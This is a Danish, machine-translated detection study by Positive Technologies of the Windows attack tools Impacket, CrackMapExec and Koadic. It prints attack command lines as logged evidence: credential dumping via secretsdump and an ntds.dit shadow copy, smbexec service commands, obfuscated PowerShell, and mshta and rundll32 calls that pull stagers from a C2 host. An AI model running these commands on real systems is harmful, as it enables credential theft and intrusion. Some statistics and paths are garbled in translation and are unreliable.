Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer

Antallet af angreb i erhvervssektoren vokser hvert år: f.eks. registrerede 2017 % flere unikke hændelser i 13 end i 2016 og ved udgangen af ​​2018 — 27 % flere hændelserend i den foregående periode. Herunder dem, hvor det vigtigste arbejdsværktøj er Windows-operativsystemet. I 2017-2018, APT Dragonfly, APT28, APT MuddyWater udførte angreb på regerings- og militærorganisationer i Europa, Nordamerika og Saudi-Arabien. Og de brugte tre værktøjer til dette - Impacket, CrackMapExec и Koadic. Deres kildekode er åben og tilgængelig på GitHub.

Det er værd at bemærke, at disse værktøjer ikke bruges til indledende penetration, men til at udvikle et angreb i infrastrukturen. Angribere bruger dem på forskellige stadier af angrebet efter indtrængning af perimeteren. Dette er i øvrigt svært at opdage og ofte kun ved hjælp af teknologi opdage spor af kompromittering i netværkstrafikken eller værktøjer til opdage aktive handlinger af en ubuden gæst, efter at han trænger ind i infrastrukturen. Værktøjerne giver en række funktioner, lige fra overførsel af filer til interaktion med registreringsdatabasen og udførelse af kommandoer på en ekstern maskine. Vi gennemførte en undersøgelse af disse værktøjer for at bestemme deres netværksaktivitet.

Hvad vi skulle gøre:

  • Forstå, hvordan hackingværktøjer fungerer. Find ud af, hvad angribere skal udnytte, og hvilke teknologier de kan bruge.
  • Find det, der ikke opdages af informationssikkerhedsværktøjer i de første faser af et angreb. Rekognosceringsstadiet kan springes over, enten fordi angriberen er en intern angriber, eller fordi angriberen udnytter en fejl i infrastrukturen, som ikke tidligere var kendt. Det bliver muligt at genoprette hele kæden af ​​hans handlinger, derfor opstår ønsket om at opdage yderligere bevægelse.
  • Eliminer falske positiver fra værktøjer til registrering af indtrængen. Vi må ikke glemme, at når visse handlinger opdages på baggrund af intelligens alene, er hyppige fejl mulige. Normalt i infrastrukturen er der et tilstrækkeligt antal måder, der ikke kan skelnes fra legitime ved første øjekast, til at opnå information.

Hvad giver disse værktøjer angribere? Hvis det er en Impacket, så får angriberne et stort bibliotek af moduler, som kan bruges på forskellige stadier af angrebet efter perimeterpenetrationen. Mange værktøjer bruger Impacket-moduler internt, såsom Metasploit. Den har dcomexec og wmiexec til at køre kommandoer eksternt, secretsdump for at få tilføjet hukommelseskonti fra Impacket. Som et resultat heraf vil den korrekte påvisning af aktiviteten af ​​et sådant bibliotek sikre påvisningen af ​​derivater.

Om CrackMapExec (eller blot CME) skrev skaberne "Powered by Impacket" af en grund. Derudover har CME færdiglavet funktionalitet til populære scenarier: dette er Mimikatz til at få adgangskoder eller deres hash, og introduktionen af ​​Meterpreter eller Empire agent til fjernudførelse og Bloodhound ombord.

Vores tredje foretrukne værktøj er Koadic. Den er ret frisk, den blev præsenteret på den internationale hackerkonference DEFCON 25 i 2017 og har en ikke-standard tilgang: den fungerer gennem HTTP, Java Script og Microsoft Visual Basic Script (VBS). Denne tilgang kaldes at leve af jorden: Værktøjet bruger et sæt afhængigheder og biblioteker indbygget i Windows. Skaberne kalder det COM Command & Control, eller C3.

IMPACKET

Funktionaliteten af ​​Impacket er meget bred, lige fra rekognoscering inden for AD og indsamling af data fra interne MS SQL-servere, der slutter med teknikker til at opnå legitimationsoplysninger: dette er et SMB-relæangreb og indhentning af ntds.dit-filen, der indeholder brugeradgangskode-hash fra et domæne controller. Impacket udfører også kommandoer eksternt ved hjælp af fire forskellige metoder: via WMI, en tjeneste til at administrere Windows-planlæggeren, DCOM og SMB, og til dette har den brug for legitimationsoplysninger.

hemmelig losseplads

Lad os tage et kig på secretsdump. Dette er et modul, der kan målrette både brugermaskiner og domænecontrollere. Med det kan du få kopier af LSA, SAM, SECURITY, NTDS.dit hukommelsesområder, så det kan ses på forskellige stadier af angrebet. Det første trin i driften af ​​modulet er autentificering via SMB, som kræver enten brugerens adgangskode eller dens hash for automatisk at udføre Pass the Hash-angrebet. Dernæst kommer en anmodning om at åbne adgang til Service Control Manager (SCM) og få adgang til registreringsdatabasen ved hjælp af winreg-protokollen, ved hjælp af hvilken angriberen kan finde ud af dataene fra de grene, der er af interesse for ham, og få resultaterne via SMB.

På fig. 1 ser vi præcis hvordan, når man bruger winreg-protokollen, opnås adgang ved registreringsnøgle med LSA. For at gøre dette skal du bruge DCERPC-kommandoen med opcode 15 - OpenKey.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 1. Åbning af en registreringsnøgle ved hjælp af winreg-protokollen

Yderligere, når der opnås adgang via nøgle, gemmes værdierne af SaveKey-kommandoen med opcode 20. Impacket gør dette på en meget specifik måde. Det gemmer værdierne i en fil, hvis navn er en streng på 8 tilfældige tegn med tilføjet .tmp. Derudover sker yderligere udlæsning af denne fil via SMB fra System32-biblioteket (fig. 2).

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 2. Skema til at få en registreringsnøgle fra en ekstern maskine

Det viser sig, at du kan opdage en sådan aktivitet på netværket ved at forespørge på visse grene af registreringsdatabasen ved hjælp af winreg-protokollen, specifikke navne, kommandoer og deres rækkefølge.

Dette modul efterlader også spor i Windows-hændelsesloggen, takket være hvilken det nemt kan registreres. For eksempel som et resultat af at udføre kommandoen

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

i Windows Server 2016-loggen vil vi se følgende nøglesekvens af hændelser:

1. 4624 - Fjernlogon.
2. 5145 - kontrol af adgangsrettigheder til winreg-fjerntjenesten.
3. 5145 - kontrol af adgangsrettighederne til en fil i System32-biblioteket. Filen har det tilfældige navn nævnt ovenfor.
4. 4688 - oprettelse af en cmd.exe-proces, der starter vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - oprettelse af en proces med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - oprettelse af en proces med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - oprettelse af en proces med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Som mange post-udnyttelsesværktøjer har Impacket moduler til fjernudførelse af kommandoer. Vi vil fokusere på smbexec, som giver dig en interaktiv kommandoskal på en ekstern maskine. Dette modul kræver også godkendelse via SMB med enten en adgangskode eller dens hash. I fig. 3 ser vi et eksempel på betjeningen af ​​et sådant værktøj, i dette tilfælde er det den lokale administratorkonsol.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 3. smbexec interaktiv konsol

Det første trin i smbexec efter godkendelse er at åbne SCM med kommandoen OpenSCManagerW(15). Forespørgslen er bemærkelsesværdig: den har feltet MachineName indstillet til DUMMY.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 4. Anmod om at åbne Service Control Manager

Derefter oprettes tjenesten ved hjælp af kommandoen CreateServiceW (12). I tilfælde af smbexec kan vi se den samme kommandobygningslogik hver gang. På fig. 5 grøn farve angiver de uforanderlige parametre for kommandoen, gul - hvad angriberen kan ændre. Det er let at se, at navnet på den eksekverbare fil, dens mappe og outputfilen kan ændres, men resten er meget sværere at ændre uden at overtræde logikken i Impacket-modulet.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 5. Anmod om at oprette en tjeneste ved hjælp af Service Control Manager

Smbexec efterlader også tydelige spor i Windows-hændelsesloggen. I Windows Server 2016-loggen for en interaktiv kommandoskal med kommandoen ipconfig ser vi følgende nøglesekvens af hændelser:

1. 4697 - installation af tjenesten på ofrets maskine:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - oprettelse af cmd.exe-processen med argumenterne fra punkt 1.
3. 5145 - kontrol af adgangsrettighederne til __output-filen i C$-mappen.
4. 4697 - Installation af tjenesten på ofrets maskine.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - oprettelse af cmd.exe-processen med argumenterne fra punkt 4.
6. 5145 - kontrol af adgangsrettighederne til __output-filen i C$-mappen.

Impacket er grundlaget for udvikling af angrebsværktøjer. Den understøtter næsten alle protokoller i Windows-infrastrukturen og har samtidig sine egne karakteristika. Her er specifikke winreg anmodninger, og brugen af ​​SCM API med den karakteristiske dannelse af kommandoer, og formatet af filnavne, og SMB share SYSTEM32.

CRACKMAPEXEC

CME-værktøjet er primært designet til at automatisere de rutinehandlinger, som en angriber skal udføre for at komme videre inden for netværket. Det giver dig mulighed for at arbejde sammen med den velkendte Empire-agent og Meterpreter. For at udføre kommandoer skjult, kan CME sløre dem. Ved at bruge Bloodhound (et separat rekognosceringsværktøj) kan en angriber automatisere søgningen efter en aktiv domæneadministratorsession.

Bloodhound

Bloodhound som et selvstændigt værktøj giver dig mulighed for at udføre avanceret rekognoscering inden for netværket. Det indsamler data om brugere, maskiner, grupper, sessioner og kommer som et PowerShell-script eller binært. LDAP eller protokoller baseret på SMB bruges til at indsamle oplysninger. CME-integrationsmodulet giver dig mulighed for at downloade Bloodhound til offerets maskine, køre den og modtage de indsamlede data efter eksekvering, og derved automatisere handlingerne i systemet og gøre dem mindre mærkbare. Den grafiske skal af Bloodhound præsenterer de indsamlede data i form af grafer, som giver dig mulighed for at finde den korteste vej fra angriberens maskine til domæneadministratoren.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 6. Bloodhound Interface

For at køre på offerets maskine opretter modulet en opgave ved hjælp af ATSVC og SMB. ATSVC er en grænseflade til at arbejde med Windows Task Scheduler. CME'en bruger sin NetrJobAdd(1) funktion til at oprette jobs over netværket. Et eksempel på, hvad CME-modulet sender, er vist i fig. 7: dette er et kald til kommandoen cmd.exe og sløret kode i form af argumenter i XML-format.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Fig.7. Oprettelse af en opgave via CME

Efter opgaven er sendt til udførelse, starter offerets maskine selve Bloodhound, og det kan ses i trafikken. Modulet er kendetegnet ved LDAP-forespørgsler til at få standardgrupper, en liste over alle maskiner og brugere i domænet, at få information om aktive brugersessioner gennem SRVSVC NetSessEnum-anmodningen.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 8. Indhentning af en liste over aktive sessioner via SMB

Derudover er start Bloodhound på offerets maskine med auditering aktiveret ledsaget af en begivenhed med ID 4688 (procesoprettelse) og procesnavn «C:WindowsSystem32cmd.exe». Bemærkelsesværdige i det er kommandolinjeargumenterne:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

Enum_avproducts-modulet er meget interessant ud fra et funktions- og implementeringssynspunkt. WMI giver dig mulighed for at bruge WQL-forespørgselssproget til at hente data fra forskellige Windows-objekter, hvilket i bund og grund er det, som dette CME-modul bruger. Det genererer forespørgsler til klasserne AntiSpywareProduct og AntiMirusProduct om de beskyttelsesværktøjer, der er installeret på ofrets maskine. For at få de nødvendige data, forbinder modulet til rootSecurityCenter2-navneområdet, genererer derefter en WQL-forespørgsel og modtager et svar. På fig. 9 viser indholdet af sådanne anmodninger og svar. I vores eksempel blev Windows Defender fundet.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 9. Netværksaktivitet af enum_avproducts modul

Ofte kan revision af WMI (Trace WMI-Activity), i tilfælde af hvilke du kan finde nyttige oplysninger om WQL-forespørgsler, deaktiveres. Men hvis det er aktiveret, og hvis enum_avproducts-scriptet køres, gemmes en hændelse med ID 11. Den vil indeholde navnet på den bruger, der sendte anmodningen, og navnet i rootSecurityCenter2-navnerummet.

Hvert af CME-modulerne havde sine egne artefakter, uanset om det var specifikke WQL-forespørgsler eller oprettelsen af ​​en bestemt type opgave i opgaveplanlæggeren med obfuskation og Bloodhound-specifik aktivitet i LDAP og SMB.

KOADIC

Et karakteristisk træk ved Koadic er brugen af ​​indbyggede JavaScript- og VBScript-fortolkere i Windows. I denne forstand følger den trenden med at leve af jorden - det vil sige, den har ingen eksterne afhængigheder og bruger standard Windows-værktøjer. Dette er et værktøj til en fuldgyldig Command & Control (CnC), fordi der efter infektion installeres et "implantat" på maskinen, så den kan styres. Sådan en maskine kaldes i Koadisk terminologi en "zombie". Hvis der ikke er nok privilegier til fuldt ud at arbejde på ofrets side, har Koadic mulighed for at hæve dem ved at bruge User Account Control bypass (UAC bypass) teknikker.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 10. Koadisk kommandoskal

Offeret skal indlede kommunikation med Command & Control-serveren. For at gøre dette skal hun have adgang til en forhåndsforberedt URI og få den vigtigste Koadic-kropp ved hjælp af en af ​​stagers. I fig. 11 viser et eksempel for stager mshta.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 11. Initialisering af en session med CnC-serveren

Ved WS-variablen i svaret bliver det klart, at udførelsen sker gennem WScript.Shell, og variablerne STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE indeholder nøgleoplysninger om parametrene for den aktuelle session. Dette er det første anmodning-svar-par i HTTP-forbindelsen til CnC-serveren. Efterfølgende anmodninger er direkte relateret til funktionaliteten af ​​de kaldede moduler (implantater). Alle Koadic-moduler fungerer kun med en aktiv CnC-session.

Mimikatz

Ligesom CME arbejder med Bloodhound, arbejder Koadic med Mimikatz som et separat program og har flere måder at køre det på. Nedenfor er et anmodning-svar-par til at downloade et Mimikatz-implantat.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 12. Overfør Mimikatz til Koadic

Du kan se, hvordan formatet af URI'en i anmodningen har ændret sig. Den har en værdi for csrf-variablen, som er ansvarlig for det valgte modul. Vær ikke opmærksom på hendes navn; vi ved alle, at CSRF normalt forstås forskelligt. Den samme hoveddel af Koadic kom som svar, hvortil kode relateret til Mimikatz blev tilføjet. Den er ret stor, så lad os se på de vigtigste punkter. Her er det base64-kodede Mimikatz-bibliotek, den serialiserede .NET-klasse, der vil injicere den, og argumenterne for at køre Mimikatz. Resultatet af udførelsen transmitteres over netværket i klartekst.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 13. Resultat af at køre Mimikatz på en ekstern maskine

Exec_cmd

Koadic har også moduler, der kan udføre kommandoer eksternt. Her vil vi se den samme URI-genereringsmetode og de velkendte sid- og csrf-variabler. I tilfælde af exec_cmd-modulet tilføjes kode til kroppen, der er i stand til at udføre shell-kommandoer. Nedenfor er vist en sådan kode indeholdt i CnC-serverens HTTP-svar.

Sådan registrerer du angreb på Windows-infrastruktur: Udforsk hackerværktøjer
Ris. 14. Implantatkode exec_cmd

Variablen GAWTUUGCFI med den velkendte WS-attribut er påkrævet til kodeudførelse. Med sin hjælp kalder implantatet skallen og behandler to kodegrene - shell.exec med returnering af outputdatastrømmen og shell.run uden at vende tilbage.

Koadic er ikke et typisk værktøj, men det har sine egne artefakter, hvormed det kan findes i legitim trafik:

  • særlig dannelse af HTTP-anmodninger,
  • ved hjælp af winHttpRequests API,
  • oprettelse af et WScript.Shell-objekt via ActiveXObject,
  • stort eksekverbart organ.

Den første forbindelse starter stageren, så det bliver muligt at registrere dens aktivitet gennem Windows-begivenheder. For mshta er dette hændelse 4688, som angiver oprettelsen af ​​en proces med start-attributten:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Mens du kører Koadic, kan andre 4688-begivenheder ses med egenskaber, der perfekt karakteriserer det:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Fund

At leve af land-trenden vinder popularitet blandt cyberkriminelle. De bruger de indbyggede Windows-værktøjer og -mekanismer til deres behov. Vi ser de populære værktøjer Koadic, CrackMapExec og Impacket efter dette princip dukke op mere og mere hyppigt i APT-rapporter. Antallet af gafler på GitHub til disse værktøjer vokser også, nye dukker op (der er allerede omkring tusind af dem nu). Tendensen vinder popularitet på grund af dens enkelhed: Angribere har ikke brug for tredjepartsværktøjer, de er allerede på ofrenes maskiner og hjælper med at omgå sikkerhedsforanstaltninger. Vi er fokuseret på studiet af netværksinteraktion: hvert værktøj beskrevet ovenfor efterlader sine spor i netværkstrafikken; deres detaljerede undersøgelse gav os mulighed for at undervise i vores produkt Opdagelse af PT-netværksangreb at opdage dem, hvilket i sidste ende hjælper med at undersøge hele kæden af ​​cyberhændelser, der involverer dem.

Forfattere:

  • Anton Tyurin, leder af ekspertserviceafdelingen, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Kilde: www.habr.com

Tilføj en kommentar